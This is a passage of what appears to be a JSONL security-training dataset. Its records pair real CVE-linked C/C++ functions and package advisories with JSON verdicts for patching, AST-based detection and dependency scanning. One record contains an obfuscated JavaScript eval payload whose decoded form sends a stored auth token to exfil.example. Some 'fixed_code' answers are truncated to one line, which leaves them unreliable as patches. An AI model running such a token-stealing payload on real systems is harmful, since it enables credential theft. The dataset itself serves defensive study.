internal/link-local ranges.\"\n}"} {"task": "vuln_patch", "language": "cpp", "cwe": "CWE-20", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C++ function contains a known security vulnerability (CWE-20). Produce the patched version and explain the fix. Output JSON.", "input": " base::WeakPtr GetWeakPtr() {\n return weak_ptr_factory_.GetWeakPtr();\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"cve\": \"CVE-2016-1586\",\n \"fixed_code\": \" base::WeakPtr GetWeakPtr() {\\n\",\n \"change_summary\": \"Security fix applied to the vulnerable function.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int caif_seqpkt_recvmsg(struct kiocb *iocb, struct socket *sock,\n\t\t\t\tstruct msghdr *m, size_t len, int flags)\n\n{\n\tstruct sock *sk = sock->sk;\n\tstruct sk_buff *skb;\n\tint ret;\n\tint copylen;\n\n\tret = -EOPNOTSUPP;\n \tif (m->msg_flags&MSG_OOB)\n \t\tgoto read_error;\n \n \tskb = skb_recv_datagram(sk, flags, 0 , &ret);\n \tif (!skb)\n \t\tgoto read_error;\n\tcopylen = skb->len;\n\tif (len < copylen) {\n\t\tm->msg_flags |= MSG_TRUNC;\n\t\tcopylen = len;\n\t}\n\n\tret = skb_copy_datagram_iovec(skb, 0, m->msg_iov, copylen);\n\tif (ret)\n\t\tgoto out_free;\n\n\tret = (flags & MSG_TRUNC) ? skb->len : copylen;\nout_free:\n\tskb_free_datagram(sk, skb);\n\tcaif_check_flow_release(sk);\n\treturn ret;\n\nread_error:\n\treturn ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-3227\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.jenkins-ci.plugins:repo\nInstalled version: 1.16.0\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"org.jenkins-ci.plugins:repo\",\n \"installed_version\": \"1.16.0\",\n \"note\": \"org.jenkins-ci.plugins:repo 1.16.0 is at or above the fixed version for GHSA-2w2m-ccf8-57cq; no known advisory applies to this version.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-362). Produce the patched version and explain the fix. Output JSON.", "input": " void cipso_v4_sock_delattr(struct sock *sk)\n {\n \tint hdr_delta;\n\tstruct ip_options *opt;\n \tstruct inet_sock *sk_inet;\n \n \tsk_inet = inet_sk(sk);\n\topt = sk_inet->opt;\n\tif (opt == NULL || opt->cipso == 0)\n \t\treturn;\n \n\thdr_delta = cipso_v4_delopt(&sk_inet->opt);\n \tif (sk_inet->is_icsk && hdr_delta > 0) {\n \t\tstruct inet_connection_sock *sk_conn = inet_csk(sk);\n \t\tsk_conn->icsk_ext_hdr_len -= hdr_delta;\n\t\tsk_conn->icsk_sync_mss(sk, sk_conn->icsk_pmtu_cookie);\n\t}\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"cve\": \"CVE-2012-3552\",\n \"fixed_code\": \" void cipso_v4_sock_delattr(struct sock *sk)\\n {\\n \\tint hdr_delta;\\n\\tstruct ip_options_rcu *opt;\\n \\tstruct inet_sock *sk_inet;\\n \\n \\tsk_inet = inet_sk(sk);\\n\\topt = rcu_dereference_protected(sk_inet->inet_opt, 1);\\n\\tif (opt == NULL || opt->opt.cipso == 0)\\n \\t\\treturn;\\n \\n\\thdr_delta = cipso_v4_delopt(&sk_inet->inet_opt);\\n \\tif (sk_inet->is_icsk && hdr_delta > 0) {\\n \\t\\tstruct inet_connection_sock *sk_conn = inet_csk(sk);\\n \\t\\tsk_conn->icsk_ext_hdr_len -= hdr_delta;\\n\\t\\tsk_conn->icsk_sync_mss(sk, sk_conn->icsk_pmtu_cookie);\\n\\t}\\n}\\n\",\n \"change_summary\": \"inet: add RCU protection to inet->opt\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-362", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int ip_options_get(struct net *net, struct ip_options **optp,\n\t\t unsigned char *data, int optlen)\n{\n\tstruct ip_options *opt = ip_options_get_alloc(optlen);\n\n\tif (!opt)\n\t\treturn -ENOMEM;\n\tif (optlen)\n\t\tmemcpy(opt->__data, data, optlen);\n\treturn ip_options_get_finish(net, optp, opt, optlen);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-22", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: cn.hutool:hutool-parent\nInstalled version: <4.1.12\nSummary: Unzip function in ZipUtil.java in Hutool allows remote attackers to overwrite arbitrary files via directory traversal", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-rhq2-2574-78mc\",\n \"cve\": \"CVE-2018-17297\",\n \"aliases\": [\n \"CVE-2018-17297\"\n ],\n \"cwe\": \"CWE-22\",\n \"ecosystem\": \"Maven\",\n \"package\": \"cn.hutool:hutool-parent\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <4.1.12\",\n \"fixed_version\": \"4.1.12\",\n \"finding\": \"Unzip function in ZipUtil.java in Hutool allows remote attackers to overwrite arbitrary files via directory traversal\",\n \"remediation\": \"Upgrade cn.hutool:hutool-parent to 4.1.12 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int isdn_header_cache(const struct neighbour *neigh, struct hh_cache *hh)\n{\n\tconst struct net_device *dev = neigh->dev;\n\tisdn_net_local *lp = dev->priv;\n\n\tif (lp->p_encap == ISDN_NET_ENCAP_ETHER)\n\t\treturn eth_header_cache(neigh, hh);\n\treturn -1;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "obfuscation_handling", "language": "javascript", "cwe": "CWE-94", "source": "generated obfuscated payloads (real encodings)", "instruction": "Analyze the following possibly-obfuscated JavaScript code. Identify obfuscation techniques, decode statically-recoverable payloads, state the recovered behavior, and recommend how to handle it. Output JSON.", "input": "(function(){var s=\"\\x6e\\x65\\x77\\x20\\x49\\x6d\\x61\\x67\\x65\\x28\\x29\\x2e\\x73\\x72\\x63\\x3d\\x27\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x65\\x78\\x66\\x69\\x6c\\x2e\\x65\\x78\\x61\\x6d\\x70\\x6c\\x65\\x2f\\x6b\\x3f\\x27\\x2b\\x65\\x6e\\x63\\x6f\\x64\\x65\\x55\\x52\\x49\\x43\\x6f\\x6d\\x70\\x6f\\x6e\\x65\\x6e\\x74\\x28\\x6c\\x6f\\x63\\x61\\x6c\\x53\\x74\\x6f\\x72\\x61\\x67\\x65\\x2e\\x74\\x6f\\x6b\\x65\\x6e\\x29\";eval(s);})();\n", "output": "{\n \"obfuscated\": true,\n \"language\": \"javascript\",\n \"techniques\": [\n \"\\\\xHH hex-escaped string literal\",\n \"eval of the unescaped string\"\n ],\n \"statically_recoverable\": true,\n \"deobfuscation_steps\": [\n \"identify the encoded literal\",\n \"decode it (base64/hex/char-codes) offline, without executing\",\n \"re-run static analysis on the recovered source\"\n ],\n \"recovered_source\": \"new Image().src='http://exfil.example/k?'+encodeURIComponent(localStorage.token)\",\n \"recovered_behavior\": \"exfiltrates the stored auth token via an image beacon\",\n \"verdict\": \"malicious\",\n \"cwe\": \"CWE-94\",\n \"severity\": \"critical\",\n \"recommended_handling\": \"deobfuscate-then-analyze; block and quarantine; never execute outside a sandbox\",\n \"policy_note\": \"Obfuscation is itself a risk signal: never classify obfuscated input as clean. Decode what is statically recoverable and analyze the recovered code; if it cannot be recovered statically, escalate to dynamic/sandbox analysis.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "jas_stream_t *jas_stream_memopen(char *buf, int bufsize)\n{\n\tjas_stream_t *stream;\n\tjas_stream_memobj_t *obj;\n\n\tif (!(stream = jas_stream_create())) {\n\t\treturn 0;\n\t}\n\n\t/* A stream associated with a memory buffer is always opened\n\tfor both reading and writing in binary mode. */\n\tstream->openmode_ = JAS_STREAM_READ | JAS_STREAM_WRITE | JAS_STREAM_BINARY;\n\n\t/* Since the stream data is already resident in memory, buffering\n\tis not necessary. */\n\t/* But... It still may be faster to use buffering anyways. */\n\tjas_stream_initbuf(stream, JAS_STREAM_FULLBUF, 0, 0);\n\n\t/* Select the operations for a memory stream. */\n\tstream->ops_ = &jas_stream_memops;\n\n\t/* Allocate memory for the underlying memory stream object. */\n\tif (!(obj = jas_malloc(sizeof(jas_stream_memobj_t)))) {\n\t\tjas_stream_destroy(stream);\n\t\treturn 0;\n\t}\n\tstream->obj_ = (void *) obj;\n\n\t/* Initialize a few important members of the memory stream object. */\n\tobj->myalloc_ = 0;\n\tobj->buf_ = 0;\n\n\t/* If the buffer size specified is nonpositive, then the buffer\n\tis allocated internally and automatically grown as needed. */\n\tif (bufsize <= 0) {\n\t\tobj->bufsize_ = 1024;\n\t\tobj->growable_ = 1;\n\t} else {\n\t\tobj->bufsize_ = bufsize;\n\t\tobj->growable_ = 0;\n\t}\n\tif (buf) {\n\t\tobj->buf_ = (unsigned char *) buf;\n\t} else {\n\t\tobj->buf_ = jas_malloc(obj->bufsize_ * sizeof(char));\n\t\tobj->myalloc_ = 1;\n\t}\n\tif (!obj->buf_) {\n\t\tjas_stream_close(stream);\n\t\treturn 0;\n\t}\n\n\tif (bufsize > 0 && buf) {\n\t\t/* If a buffer was supplied by the caller and its length is positive,\n\t\t make the associated buffer data appear in the stream initially. */\n\t\tobj->len_ = bufsize;\n\t} else {\n\t\t/* The stream is initially empty. */\n\t\tobj->len_ = 0;\n\t}\n\tobj->pos_ = 0;\n\t\n\treturn stream;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"jasper\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: pillow\nInstalled version: 13.0.0\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"pillow\",\n \"installed_version\": \"13.0.0\",\n \"note\": \"pillow 13.0.0 is at or above the fixed version for GHSA-74r2-7ff9-mjj2; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": null, "source": "curated secure pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the python source into its AST, map tokens to AST nodes, and report any vulnerability as JSON.", "input": "import subprocess\ndef run():\n value = request.form['name']\n subprocess.run(['tar', '-czf', 'backup.tgz', value], shell=False)\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"note\": \"Secure pattern: subprocess without shell, argument list. No injection/traversal sink reachable from untrusted input.\",\n \"ast_top_level\": [\n \"module\",\n \"import_statement\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: ml-scanner\nInstalled version: 0.1.0\nSummary: The ML-Scanner package in PyPI v0.1.0 to v0.1.5 was discovered to contain a code execution backdoor via the request package. This vulnerability allows attackers to access sensitive user information an...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2022-215\",\n \"cve\": \"CVE-2022-33000\",\n \"aliases\": [\n \"CVE-2022-33000\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"ml-scanner\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0.1.0, <0.1.7\",\n \"fixed_version\": \"0.1.7\",\n \"finding\": \"The ML-Scanner package in PyPI v0.1.0 to v0.1.5 was discovered to contain a code execution backdoor via the request package. This vulnerability allows attackers to access sensitive user information an...\",\n \"remediation\": \"Upgrade ml-scanner to 0.1.7 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-787", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Google.Protobuf\nInstalled version: <3.4.0\nSummary: protobuf susceptible to buffer overflow", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-jwvw-v7c5-m82h\",\n \"cve\": \"CVE-2015-5237\",\n \"aliases\": [\n \"CVE-2015-5237\",\n \"PYSEC-2017-65\"\n ],\n \"cwe\": \"CWE-787\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Google.Protobuf\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <3.4.0\",\n \"fixed_version\": \"3.4.0\",\n \"finding\": \"protobuf susceptible to buffer overflow\",\n \"remediation\": \"Upgrade Google.Protobuf to 3.4.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: 6.0.3-1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"linux\",\n \"installed_version\": \"6.0.3-1\",\n \"note\": \"linux 6.0.3-1 is at or above the fixed version for DEBIAN-CVE-2022-3541; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-862", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static struct key *construct_key_and_link(struct keyring_search_context *ctx,\n\t\t\t\t\t const char *callout_info,\n\t\t\t\t\t size_t callout_len,\n\t\t\t\t\t void *aux,\n\t\t\t\t\t struct key *dest_keyring,\n\t\t\t\t\t unsigned long flags)\n{\n\tstruct key_user *user;\n\tstruct key *key;\n\tint ret;\n\n\tkenter(\"\");\n\n \tif (ctx->index_key.type == &key_type_keyring)\n \t\treturn ERR_PTR(-EPERM);\n \n\tuser = key_user_lookup(current_fsuid());\n\tif (!user)\n\t\treturn ERR_PTR(-ENOMEM);\n \n\tconstruct_get_dest_keyring(&dest_keyring);\n \n \tret = construct_alloc_key(ctx, dest_keyring, flags, user, &key);\n \tkey_user_put(user);\n\n\tif (ret == 0) {\n\t\tret = construct_key(key, callout_info, callout_len, aux,\n\t\t\t\t dest_keyring);\n\t\tif (ret < 0) {\n\t\t\tkdebug(\"cons failed\");\n\t\t\tgoto construction_failed;\n\t\t}\n \t} else if (ret == -EINPROGRESS) {\n \t\tret = 0;\n \t} else {\n\t\tgoto couldnt_alloc_key;\n \t}\n \n \tkey_put(dest_keyring);\n\tkleave(\" = key %d\", key_serial(key));\n\treturn key;\n\n construction_failed:\n \tkey_negate_and_link(key, key_negative_timeout, NULL, NULL);\n \tkey_put(key);\ncouldnt_alloc_key:\n \tkey_put(dest_keyring);\n \tkleave(\" = %d\", ret);\n \treturn ERR_PTR(ret);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-862\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-17807\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 18,\n 19,\n 20,\n 21,\n 36,\n 46\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"key\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 14\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 18\n },\n {\n \"token\": \"construct_key_and_link\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 42\n },\n {\n \"token\": \"keyring_search_context\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 72\n },\n {\n \"token\": \"ctx\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 73\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 76\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 2,\n \"col\": 7\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 13\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 18\n },\n {\n \"token\": \"callout_info\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 19\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 31\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 7\n },\n {\n \"token\": \"callout_len\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \"aux\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 13\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 16\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"key\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 14\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 18\n },\n {\n \"token\": \"dest_keyring\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 19\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 31\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 6,\n \"col\": 7\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 6,\n \"col\": 16\n },\n {\n \"token\": \"flags\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 21\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 26\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 7,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"key_user\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 8,\n \"col\": 17\n },\n {\n \"token\": \"user\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 22\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"key\",\n \"ast_node\": \"type_identifier\",\n \"line\": 9,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 12\n },\n {\n \"token\": \"key\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 16\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 8\n },\n {\n \"token\": \"kenter\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 7\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 12,\n \"col\": 8\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 12,\n \"col\": 9\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 11\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 14,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 5\n },\n {\n \"token\": \"ctx\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 14,\n \"col\": 9\n },\n {\n \"token\": \"index_key\",\n \"ast_node\": \"field_identifier\",\n \"line\": 14,\n \"col\": 11\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 14,\n \"col\": 20\n },\n {\n \"token\": \"type\",\n \"ast_node\": \"field_identifier\",\n \"line\": 14,\n \"col\": 21\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 14,\n \"col\": 26\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-399). Produce the patched version and explain the fix. Output JSON.", "input": " void FocusIn(const char* input_context_path) {\n if (!input_context_path) {\n LOG(ERROR) << \"NULL context passed\";\n } else {\n DLOG(INFO) << \"FocusIn: \" << input_context_path;\n }\n input_context_path_ = Or(input_context_path, \"\");\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"cve\": \"CVE-2011-2804\",\n \"fixed_code\": \" void FocusIn(const char* input_context_path) {\\n\",\n \"change_summary\": \"Remove use of libcros from InputMethodLibrary.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-269", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: openclaw\nInstalled version: 2026.3.7\nSummary: OpenClaw: Plugin subagent routes could bypass gateway authorization with synthetic admin scopes", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-xw77-45gv-p728\",\n \"cve\": \"CVE-2026-32916\",\n \"aliases\": [\n \"CVE-2026-32916\"\n ],\n \"cwe\": \"CWE-269\",\n \"ecosystem\": \"npm\",\n \"package\": \"openclaw\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=2026.3.7, <2026.3.11\",\n \"fixed_version\": \"2026.3.11\",\n \"finding\": \"OpenClaw: Plugin subagent routes could bypass gateway authorization with synthetic admin scopes\",\n \"remediation\": \"Upgrade openclaw to 2026.3.11 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int jp2_colr_getdata(jp2_box_t *box, jas_stream_t *in)\n{\n\tjp2_colr_t *colr = &box->data.colr;\n\tcolr->csid = 0;\n\tcolr->iccp = 0;\n\tcolr->iccplen = 0;\n\n\tif (jp2_getuint8(in, &colr->method) || jp2_getuint8(in, &colr->pri) ||\n\t jp2_getuint8(in, &colr->approx)) {\n\t\treturn -1;\n\t}\n\tswitch (colr->method) {\n\tcase JP2_COLR_ENUM:\n\t\tif (jp2_getuint32(in, &colr->csid)) {\n\t\t\treturn -1;\n\t\t}\n\t\tbreak;\n\tcase JP2_COLR_ICC:\n\t\tcolr->iccplen = box->datalen - 3;\n\t\tif (!(colr->iccp = jas_malloc(colr->iccplen * sizeof(uint_fast8_t)))) {\n\t\t\treturn -1;\n\t\t}\n\t\tif (jas_stream_read(in, colr->iccp, colr->iccplen) != colr->iccplen) {\n\t\t\treturn -1;\n\t\t}\n\t\tbreak;\n\t}\n\treturn 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"jasper\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-284", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "UINT32 UIPC_Read(tUIPC_CH_ID ch_id, UINT16 *p_msg_evt, UINT8 *p_buf, UINT32 len)\n{\n int n;\n int n_read = 0;\n int fd = uipc_main.ch[ch_id].fd;\n struct pollfd pfd;\n UNUSED(p_msg_evt);\n\n if (ch_id >= UIPC_CH_NUM)\n {\n BTIF_TRACE_ERROR(\"UIPC_Read : invalid ch id %d\", ch_id);\n return 0;\n }\n\n if (fd == UIPC_DISCONNECTED)\n {\n BTIF_TRACE_ERROR(\"UIPC_Read : channel %d closed\", ch_id);\n return 0;\n }\n\n\n while (n_read < (int)len)\n {\n pfd.fd = fd;\n pfd.events = POLLIN|POLLHUP;\n\n \n /* make sure there is data prior to attempting read to avoid blocking\n a read for more than poll timeout */\n if (poll(&pfd, 1, uipc_main.ch[ch_id].read_poll_tmo_ms) == 0)\n {\n BTIF_TRACE_EVENT(\"poll timeout (%d ms)\", uipc_main.ch[ch_id].read_poll_tmo_ms);\n break;\n }\n\n\n if (pfd.revents & (POLLHUP|POLLNVAL) )\n {\n BTIF_TRACE_EVENT(\"poll : channel detached remotely\");\n UIPC_LOCK();\n uipc_close_locked(ch_id);\n UIPC_UNLOCK();\n\n return 0;\n }\n \n n = recv(fd, p_buf+n_read, len-n_read, 0);\n \n \n if (n == 0)\n {\n BTIF_TRACE_EVENT(\"UIPC_Read : channel detached remotely\");\n UIPC_LOCK();\n uipc_close_locked(ch_id);\n UIPC_UNLOCK();\n return 0;\n }\n\n if (n < 0)\n {\n 